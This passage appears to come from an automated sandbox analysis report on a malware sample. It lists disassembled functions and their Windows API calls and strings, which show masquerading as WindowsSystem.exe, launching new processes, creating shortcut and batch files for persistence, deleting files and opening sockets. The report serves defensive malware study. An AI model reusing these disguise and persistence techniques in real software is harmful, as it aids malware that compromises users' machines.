Part of subcall function 00328054: DeleteCriticalSection.KERNEL32(00000000,00000000,76EF5810,?,0032847D,?,00326189), ref: 0032C612
Part of subcall function 00328054: _free.LIBCMT ref: 0032C615
Part of subcall function 00328054: DeleteCriticalSection.KERNEL32(00000003,76EF5810,?,0032847D,?,00326189), ref: 0032C63C

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00328331
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0032833E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0032834B
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00328358
TlsAlloc.KERNEL32(?,00326189), ref: 003283A8
TlsSetValue.KERNEL32(00000000,?,00326189), ref: 003283C3
__init_pointers.LIBCMT ref: 003283CD
EncodePointer.KERNEL32(?,00326189), ref: 003283DE
EncodePointer.KERNEL32(?,00326189), ref: 003283EB
EncodePointer.KERNEL32(?,00326189), ref: 003283F8
EncodePointer.KERNEL32(?,00326189), ref: 00328405
DecodePointer.KERNEL32(003281D8,?,00326189), ref: 00328426
__calloc_crt.LIBCMT ref: 0032843B
DecodePointer.KERNEL32(00000000,?,00326189), ref: 00328455
GetCurrentThreadId.KERNEL32 ref: 00328467

Strings

FlsSetValue, xrefs: 00328340
FlsGetValue, xrefs: 00328333
FlsFree, xrefs: 0032834D
KERNEL32.DLL, xrefs: 0032830A
FlsAlloc, xrefs: 0032832B

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: ac57b548ad6b1d06d4f8689b08c3dc3d2d79d20a3bcd9bb33fc8c237e301460c
Instruction ID: a2e28c8b57849f279c87b47c21b731166947f7377b09c3b5cecbe7318c1a6ae2
Opcode Fuzzy Hash: ac57b548ad6b1d06d4f8689b08c3dc3d2d79d20a3bcd9bb33fc8c237e301460c
Instruction Fuzzy Hash: B4315AB59063219BC733AF75BC49A5A3BB8AF44760F61462AE50C972B0DF749481CF50

Function 00319D60 Relevance: 38.8, APIs: 15, Strings: 7, Instructions: 276COMMON

Download Yara Rule

Strings

$o3Xo3, xrefs: 00319FBB, 00319FBE
Xo3, xrefs: 00319DD9
NTDLL.DLL, xrefs: 00319DF6
<, xrefs: 00319EAF
HEAD, xrefs: 00319FC7
RtlTimeToSecondsSince1970, xrefs: 00319E0E
$o3Xo3, xrefs: 00319EE1, 00319EE4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID:
String ID: $o3Xo3$$o3Xo3$<$HEAD$NTDLL.DLL$RtlTimeToSecondsSince1970$Xo3
API String ID: 0-914312535
Opcode ID: 2fccb9d8600250c57c48b926a7e796306cc1575472bfc2bbca637b5c017fea35
Instruction ID: 71660cb7a7b785a3133f7e8fc6e5abeafcf593abf6a4f4fad8b9fac96b7822a9
Opcode Fuzzy Hash: 2fccb9d8600250c57c48b926a7e796306cc1575472bfc2bbca637b5c017fea35
Instruction Fuzzy Hash: B9C10C70A00218EFDB65CFA4DC89BDEBBB9BF48305F108559E609AB280D77459C4CF51

Function 00312920 Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 117memoryprocessstringCOMMON

Download Yara Rule

APIs

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00312952
__snwprintf.LIBCMT ref: 0031297C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0031298B
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 003129A9
lstrcmpiW.KERNEL32(00000000,00000000), ref: 003129BF
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 003129D4
__snwprintf.LIBCMT ref: 00312A03
_memset.LIBCMT ref: 00312A13
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00312A3E
LocalFree.KERNEL32(00000000), ref: 00312A4D
LocalFree.KERNEL32(00000000), ref: 00312A57
LocalFree.KERNEL32(00000000), ref: 00312A61
LocalFree.KERNEL32(00000000), ref: 00312A6B
LocalFree.KERNEL32(00000000), ref: 00312A7C
LocalFree.KERNEL32(00000000), ref: 00312A86
LocalFree.KERNEL32(00000000), ref: 00312A90
LocalFree.KERNEL32(00000000), ref: 00312A9A

Strings

{A3956157-6EDC-4743-A7B9-FF7CDC2529A9}, xrefs: 003129E7
D, xrefs: 00312A1B
"%s%s" %s, xrefs: 003129F5
WindowsSystem.exe, xrefs: 00312965, 003129EC
%s%s, xrefs: 0031296E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$__snwprintflstrlen$CreateFileFolderKnownModuleNamePathProcessTask_memsetlstrcmpi
String ID: "%s%s" %s$%s%s$D$WindowsSystem.exe${A3956157-6EDC-4743-A7B9-FF7CDC2529A9}
API String ID: 2642993909-1205724815
Opcode ID: 2a15b51a5c1898d805204e7036c82a480ec709050deb3066dc7684be791f9fe1
Instruction ID: a133ccf58657d4fc1e582e3e47729223367212c66f171bb49d5db02d0d286b9d
Opcode Fuzzy Hash: 2a15b51a5c1898d805204e7036c82a480ec709050deb3066dc7684be791f9fe1
Instruction Fuzzy Hash: AF416275A50205ABD735DBE4DC49FFEBB79AF48701F104528F609AA190DB749A80CB60

Function 00313160 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 95memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,00315BA8), ref: 0031317A
SHGetKnownFolderPath.SHELL32(00337BF0,00000000,00000000,?), ref: 00313196
__snwprintf.LIBCMT ref: 003131B7
DeleteFileW.KERNEL32(00000000), ref: 003131C3
CoTaskMemFree.COMBASE(?), ref: 003131CD
LocalFree.KERNEL32(00000000), ref: 003131D7
SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,?), ref: 003131EA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 003131FF
__snwprintf.LIBCMT ref: 00313229
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00313238
__snwprintf.LIBCMT ref: 00313263
DeleteFileW.KERNEL32(00000000), ref: 0031326F
RemoveDirectoryW.KERNEL32(00000000), ref: 00313279
LocalFree.KERNEL32(00000000), ref: 00313283
LocalFree.KERNEL32(00000000), ref: 0031328D
CoTaskMemFree.COMBASE(?), ref: 00313297

Strings

{18925F49-C14F-4A5B-BA0F-9C4106DA4CB0}, xrefs: 003131A0
{A786AA22-8EF1-44CE-8698-6F3988CB643E}, xrefs: 00313247
{9771290C-19FB-4434-8B1F-8952BA10F287}, xrefs: 00313212, 0031324C
%s\%s\%s.BAT, xrefs: 00313255
%s\%s.lnk, xrefs: 003131A9
%s\%s, xrefs: 0031321B

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc__snwprintf$DeleteFileFolderKnownPathTask$DirectoryRemove
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.BAT${18925F49-C14F-4A5B-BA0F-9C4106DA4CB0}${9771290C-19FB-4434-8B1F-8952BA10F287}${A786AA22-8EF1-44CE-8698-6F3988CB643E}
API String ID: 1689349194-2992477535
Opcode ID: 8af4a9881c6af874fac3f47403e65f13032b72895fdc5414c703560e06f8b1e7
Instruction ID: 85965c07551038cdca95598a168fd5c7961bd01348c4bfbebb452303f026ad93
Opcode Fuzzy Hash: 8af4a9881c6af874fac3f47403e65f13032b72895fdc5414c703560e06f8b1e7
Instruction Fuzzy Hash: E1318474A40305FBD726EBA4DC4AFBE7779AF48701F104528F609AA2D0D6749A80CB60

Function 0030E110 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 149memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0030E187
SetEvent.KERNEL32(00000000), ref: 0030E1D8
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030E1E5
wnsprintfW.SHLWAPI ref: 0030E242
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030E252
wnsprintfW.SHLWAPI ref: 0030E284
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0030E2CB
LocalFree.KERNEL32(00000000), ref: 0030E2DE
LocalFree.KERNEL32(00000000), ref: 0030E2EB
LocalFree.KERNEL32(00000000), ref: 0030E2F8
OpenEventW.KERNEL32(00100002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 0030E30A
SetEvent.KERNEL32(00000000), ref: 0030E31D
CloseHandle.KERNEL32(00000000), ref: 0030E327
shutdown.WS2_32(?,00000002), ref: 0030E333
closesocket.WS2_32(?), ref: 0030E33D

Part of subcall function 0030B6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0030B701
Part of subcall function 0030B6D0: GetLastError.KERNEL32 ref: 0030B70C
Part of subcall function 0030B6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030B724
Part of subcall function 0030B6D0: __snwprintf.LIBCMT ref: 0030B74E
Part of subcall function 0030B6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0030B773
Part of subcall function 0030B6D0: GetLastError.KERNEL32 ref: 0030B77C
Part of subcall function 0030B6D0: LocalFree.KERNEL32(00000000), ref: 0030B7FC
Part of subcall function 0030B6D0: LocalFree.KERNEL32(00000000), ref: 0030B806

Strings

{0F01F64A-5A5B-4CC4-B069-D85368F634DD}, xrefs: 0030E267
%s%s, xrefs: 0030E231
WindowsSystem.exe, xrefs: 0030E225
D, xrefs: 0030E29E
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 0030E2FE
"%s" %s, xrefs: 0030E273

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreateEvent$ErrorLastwnsprintf$CloseDirectoryFileHandleOpenProcess__snwprintfclosesocketsetsockoptshutdown
String ID: "%s" %s$%s%s$D$WindowsSystem.exe${0F01F64A-5A5B-4CC4-B069-D85368F634DD}${DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 2452205246-3446471135
Opcode ID: 99f339d34feb12b2d964579b71fa9e9e34c3d83888948618176e05a29208d458
Instruction ID: b0eff8b6dee8b2a600409c68ca380be9f6b81f023708e6900f41d7cd49a28287
Opcode Fuzzy Hash: 99f339d34feb12b2d964579b71fa9e9e34c3d83888948618176e05a29208d458
Instruction Fuzzy Hash: 58513CB1A00218AFDB35EFA4DC49BADB779BF48700F1085A8F60DA7291DB745984CF51

Function 003169A0 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 145threadnetworkstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(UNLOAD.TXT), ref: 003169AE
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 003169C0
CreateThread.KERNEL32(00000000,00000000,0030BA30,00000000,00000000,00000000), ref: 003169E3
LocalFree.KERNEL32(00000000), ref: 00316A01
_memset.LIBCMT ref: 00316A7A
__snwprintf.LIBCMT ref: 00316A9F
LocalFree.KERNEL32(00000000), ref: 00316AD9
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00316B24
CreateThread.KERNEL32(00000000,00000000,0030F100,00000000,00000000,00000000), ref: 00316B47
CloseHandle.KERNEL32(00000000), ref: 00316B64
WSAStartup.WS2_32(00000002,?), ref: 00316B73
CreateThread.KERNEL32(00000000,00000000,0031B630,00000000,00000000,00000000), ref: 00316B95
CreateThread.KERNEL32(00000000,00000000,00321030,00000000,00000000,00000000), ref: 00316BAF
WSACleanup.WS2_32 ref: 00316BCA

Strings

UNLOAD.TXT, xrefs: 003169A9
"%s%s", xrefs: 00316A8E
{34E50511-FBB8-42F8-98A2-2629192A03A0}, xrefs: 00316ABE
WindowsSystem, xrefs: 00316AB9
WindowsSystem.exe, xrefs: 00316A82
WindowsSystem, xrefs: 00316AB4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Create$Thread$EventFreeLocal$CleanupCloseHandleStartup__snwprintf_memsetlstrlen
String ID: "%s%s"$UNLOAD.TXT$WindowsSystem$WindowsSystem$WindowsSystem.exe${34E50511-FBB8-42F8-98A2-2629192A03A0}
API String ID: 990009833-1681456302
Opcode ID: 8a9ad51967b76f7d1d183c917680fc54247895e0dac74e6357ee31005a2150f9
Instruction ID: d04372202399d70874e7a4bf35babbc6038ecf2cca43f0f5e7fd1dddfde06e52
Opcode Fuzzy Hash: 8a9ad51967b76f7d1d183c917680fc54247895e0dac74e6357ee31005a2150f9
Instruction Fuzzy Hash: 9F516170A90314ABE73B9BA4EC8BFD5366CAB09B05F108058F60DBA1E1D7F569C4CB15

Function 0030FAD0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 136memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
Part of subcall function 0030FE20: __snwprintf.LIBCMT ref: 0030FEDA
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00000000), ref: 0030FEE6
Part of subcall function 0030FE20: CoTaskMemFree.COMBASE(?), ref: 0030FEF5

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0030FB03
GetLastError.KERNEL32 ref: 0030FB0E
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030FB26
wsprintfW.USER32 ref: 0030FB4F
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0030FB7A
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 0030FBD1
GetLastError.KERNEL32 ref: 0030FBDD
LocalFree.KERNEL32(00000000), ref: 0030FC72
LocalFree.KERNEL32(00000000), ref: 0030FC7C
LocalFree.KERNEL32(00000000), ref: 0030FC86
LocalFree.KERNEL32(00000000), ref: 0030FCE3

Strings

P, xrefs: 0030FBFF
%s%s, xrefs: 0030FB46

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$AllocCreateErrorFileLast$DirectoryFolderKnownModuleNamePathTask__snwprintfwsprintf
String ID: %s%s$P
API String ID: 4093884390-50959982
Opcode ID: 73beb8de7439dd7bbe0df55db1b6cb759280ce4f87a3ef3c13a8cc9d828dca3c
Instruction ID: e2130df5b81aa17f0d8f230cf37973d7db48985b25aa08facc0b4f702f53dc45
Opcode Fuzzy Hash: 73beb8de7439dd7bbe0df55db1b6cb759280ce4f87a3ef3c13a8cc9d828dca3c
Instruction Fuzzy Hash: DE518074901218EFDB35DBA4EC9DBADBB78AF48311F1046A8E519A65D0C7349EC4CF50

Function 00313450 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 114memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00337C30,00000000,00000000,00000000), ref: 0031346D
_memset.LIBCMT ref: 00313492
lstrlenW.KERNEL32(00000000), ref: 0031349E
__snwprintf.LIBCMT ref: 003134D5
CreateDirectoryW.KERNEL32(?,00000000), ref: 003134E6
GetLastError.KERNEL32 ref: 00313508
LocalAlloc.KERNEL32(00000040,00000208), ref: 00313520
__snwprintf.LIBCMT ref: 00313551
lstrlenW.KERNEL32(00000000), ref: 00313560
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00313575
LocalAlloc.KERNEL32(00000040,00000208), ref: 00313591
_memmove.LIBCMT ref: 003135C2
CoTaskMemFree.COMBASE(00000000), ref: 003135CE
LocalFree.KERNEL32(00000000), ref: 003135DB
RemoveDirectoryW.KERNEL32(00000000), ref: 003135F0
LocalFree.KERNEL32(00000000), ref: 003135FD
RemoveDirectoryW.KERNEL32(?), ref: 0031360A
CoTaskMemFree.COMBASE(00000000), ref: 00313614

Strings

%s\System32, xrefs: 00313540
\\?\%s , xrefs: 003134C4

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: DirectoryFreeLocal$AllocCreateRemoveTask__snwprintflstrlen$ErrorFolderKnownLastPath_memmove_memset
String ID: %s\System32$\\?\%s
API String ID: 2912166009-2868705786
Opcode ID: 529e0214e7baa64189f6442e99802ce85beadac7962c01a1aa36ef115061137d
Instruction ID: 01a391380d7085d992b94ac700614c63812cd1f4b5ffa8c628cf966b9ecb7d73
Opcode Fuzzy Hash: 529e0214e7baa64189f6442e99802ce85beadac7962c01a1aa36ef115061137d
Instruction Fuzzy Hash: 85413CB4980218EBDB35DBA0DC8DBE9B779AB58701F104998E509A6290D7749FC4CF90

Function 00308A80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 169stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00310010: SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,00316B10,00371178,00316B10), ref: 00310023
Part of subcall function 00310010: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00310034
Part of subcall function 00310010: wnsprintfW.SHLWAPI ref: 0031005F
Part of subcall function 00310010: lstrlenW.KERNEL32(?), ref: 00310070
Part of subcall function 00310010: CoTaskMemFree.COMBASE(?), ref: 0031007F

Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B,00316B10,00000000), ref: 003081EB
Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B), ref: 00308205
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308235
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308251
Part of subcall function 003081C0: LocalFree.KERNEL32(00000000), ref: 00308A43

LocalFree.KERNEL32(00000000), ref: 00308AE0
LocalFree.KERNEL32(00000000), ref: 00308AF0
LocalAlloc.KERNEL32(00000040,00030010), ref: 00308B3B
LocalAlloc.KERNEL32(00000040,00008AD0), ref: 00308B55
_memmove.LIBCMT ref: 00308B76
lstrcpyW.KERNEL32(00000000,00000000), ref: 00308B86
lstrcpyW.KERNEL32(-00010000,00000000), ref: 00308B99
lstrcpyW.KERNEL32(-00020000,00000000), ref: 00308BAD
LocalFree.KERNEL32(00000000), ref: 00308C32
LocalFree.KERNEL32(00000000), ref: 00308C3C
LocalFree.KERNEL32(00000000), ref: 00308C46
LocalFree.KERNEL32(00000000), ref: 00308C57
LocalFree.KERNEL32(00000000), ref: 00308C61
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00308C98
LocalFree.KERNEL32(00000000), ref: 00308CA2
LocalFree.KERNEL32(00000000), ref: 00308CAC
LocalFree.KERNEL32(00000000), ref: 00308CB6

Strings

(Z6, xrefs: 00308BDA

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrcpywnsprintf$FolderKnownPathTaskVirtual_memmovelstrlen
String ID: (Z6
API String ID: 586337011-1190260237
Opcode ID: dcab5cde57b296f8d014c0a02f37067a44802a88523bd4469adcd7a8e9c3f847
Instruction ID: b4e13bdbfcffb70ae52c49106885a9330430faf0c68872b03cad7c92534859cf
Opcode Fuzzy Hash: dcab5cde57b296f8d014c0a02f37067a44802a88523bd4469adcd7a8e9c3f847
Instruction Fuzzy Hash: 00711C75D01208DBDB15DFA4D899BEEBBB9BF48301F148528E645BB680C7799980CF60

Function 0030B6D0 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 116memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0030FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0030FE74
Part of subcall function 0030FE20: lstrlenW.KERNEL32(?), ref: 0030FE86
Part of subcall function 0030FE20: lstrlenW.KERNEL32(00371110), ref: 0030FE99
Part of subcall function 0030FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0030FEB2
